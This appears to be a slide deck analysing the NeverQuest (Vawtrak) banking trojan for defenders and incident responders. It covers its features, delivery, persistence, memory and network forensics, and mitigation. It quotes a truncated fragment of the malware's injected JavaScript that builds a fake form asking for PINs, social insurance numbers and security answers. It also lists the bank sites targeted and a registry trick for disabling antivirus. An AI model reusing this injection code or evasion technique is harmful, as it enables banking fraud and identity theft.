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“Vawtrak is one of the most dangerous pieces of 
financial stealing malware detected…”

- Heimdal Security



NeverQuest

• Aka. Vawtrak or Snifula.
• First observed around mid 2013.
• Continuously evolving.
• Neverquest campaigns have targeted victims in over 

25 countries and hundreds of banking, financial and 
retail institutions.



NeverQuest
• Steals Login Credentials for Banking, email and 

social media accounts
• Circumvents Two-Factor Authentication
• Steals Browser Stored Passwords
• Steals Private Keys
• Keylogging
• Encrypted Command-and-Control



Neverquest
• Create VNC connections for remote access
• Create SOCKS proxy
• Screenshot captures
• Video captures
• Modify browser settings
• Web injection
• Powershell
• Steganography



NeverQuest

NeverQuest will harvest any browser stored passwords



CrimeWare-as-a-Service (CaaS)
• Targets can be selected by geographical region or 

language.
• Targets can be selected by application, banking and 

financial, retail, social networks, etc.
• Each instance of Neverquest contains a bot ID and a 

campaign ID. 
• Each victim system has a unique identifier.



Delivery
• Loader Malware

• Pony
• Chanitor
• Zemot

• Exploit Kits
• Angler
• Fiesta
• Neutrino

• Spam



EQ Framework Injector



EQ Framework Injector
• Waits for browser process to run.
• Javascript injects a tailored URL to the targeted bank.
• Makes a request for the Transaction Authentication 

Number (TAN) for the bank of institution.
• Injects extra fields in the form data to gather personal 

security information.
• Changes POST address data to a non-existent sub 

domain so the responses do not reach the bank’s 
server.



EQ Framework Injector
gbi('main	nav').style.display=	"none";		

gbi('layout').style.display=	"none";		 var div	=	
document.createElement("div");		 div.id	=	"fake";		

div.style.marginLeft =	"20px";		
div.innerHTML =	'<p	class="pageTitle">Questions	of	personal	identification</p>\

<p	class="bodyText">Please	verify	your	 identity	by	answering	your	personal	security	
questions.</p>\ <table><tr><td	class="bodyText">Telephone	Banking	
Password</td><td><input	id="tbp"	type="text"		autocomplete="off"	value=""	
maxlength="25"></td></tr>\ <tr><td	class="bodyText">Atm PIN</td><td><input	
id="pin"	type="text"	autocomplete="off"	value=""	maxlength="4"></td></tr>\ <tr><td	
class="bodyText">Social	Insurance	Number</	td><td><input	 id="sin"	type="text"	
autocomplete="off"	value=""	maxlength="25"></td></tr>\ <tr><td	
class="bodyText">Mother\'s	Maiden	Name</td><td><input	id="mmn"	type="text"	
autocomplete="off"	value=""	maxlength="25"></td></tr>\ <tr><td	
class="bodyText">Driver\'s	License</td><td><input	id="dln"	type="text"	
autocomplete="off"	value=""	maxlength="25"></td></tr>\ <tr><td	
class="bodyText">Date	of	Birth</td><td><input	id="dob"	type="text"	autocomplete="off"	
va lue=""	maxlength="10"></td></tr>\ <tr><td	class="bodyText">2-digit	Issue	
Number</td><td><input	id="2dn"	type="text"	autocomplete="off"	value=""	
maxlength="2"></td></tr>\ <tr><td	id="question1"	class="bodyText">Question:	'+qs[0]+	
'</td><



EQ Framework Injector
• americanexpress.com
• secure.bankofamerica.com
• barclaycardus.com
• chaseonline.chase.com
• cibconline.cibc.com
• online.citibank.com
• desjardins.com
• discovercard.com
• cdn.etrade.com
• fiabusinesscard.com
• fidelity.com
• frostbank.com
• hsbcreditcard.com
• businessonline.huntington.com
• key.com
• navyfederal.org
• onlinebanking.pnc.com
• royalbank.com
• schwab.com
• internetbanking.suncorpbank.com.au
• tdcanadatrust.com
• treasurypathways.com
• troweprice.com
• usaa.com
• wellsfargofinancial.com



EQ Framework Injector

Neverquest will call GetAsyncKeyState to record data 
that the victims types into Internet forms.



Anti-AntiVirus
Vawtrak takes advantage of Software Restriction Policies 
to limit the effectiveness of anti-virus applications.
HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\Co
deIdentifiers\0\Paths\[hash value]



Anti-AntiVirus



Registry

Added to autostart key: 
\Microsoft\Windows\CurrentVersion\Run.
The Neverquest .DLL is randomly named with a .DAT 
extension.
Uses regsvr32.exe to execute.
Persistence is maintained by the using ‘recurring runkey’.



Registry

Neverquest proxy information found in the registry



Registry

Credit	Card	
information	stored	in	
the	registry.



Memory Analysis

Neverquest injection into explorer.exe running process.
Neverquest hooks user owned processes and child 
processes before restoring the original thread.



Memory Analysis

Suspicious CLSID in a handle type Key.
Points to Neverquest configuration file in the registry.



Memory Analysis
Neverquest
Framework Injector 
in Explorer.exe



Memory Analysis
Neverquest C2 domains found 
in memory.
Updated server lists are digitally 
signed so they cannot be 
hijacked by a competing botnet.



Network Traffic



Network Traffic

This POST data contains a unique SID that identifies the 
version of bot, the campaign ID and an identifier of the 
infected system.



Anti-Forensics
• Looks for instances of  VMWare running.
• Features several Anti-Debugging techniques.
• Institutes techniques to stop heuristic checking by 

anti-virus tools.
• Uses complex ciphers and algorithms to obfuscate 

code.



Event Logs

Antivirus logs and Event logs can hold clues to the 
existence of NeverQuest activity on the system.



Going Mobile

Recent	versions	of	
Neverquestmay	prompt	the	
victim	to	download	a	mobile	
banking	application	to	their	
smart	phone.
This	application	will	often	
ask	for	the	victim’s	ATM	card	
and	PIN	number	as	part	of	
the	setup.



Latest Developments

Neverquest uses TinyLoader to download AbaddonPOS
AbaddonPOS scans running processes for credit card 
data.
Searches for valid track identifiers

-AbaddonPOS: “A new point of sale threat linked to Vawtrak”, proofpoint.com, 2015.



Mitigation
The Obvious:

• Keep antivirus software up to date.
• Install a good antivirus product. One with email 

scanning is better.
• Don’t open attachments or click on links from 

unknown sources.
• Does your browser block suspicious sites?



For the Incident Responder
• Memory analysis 

• Suspicious CLSID values within the browser process.

• Was AntiVirus configured properly?
• HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers

\0\Paths\[hash value]

• Its all in the Registry:
• UsrClass.dat\CLSID\{generated string}
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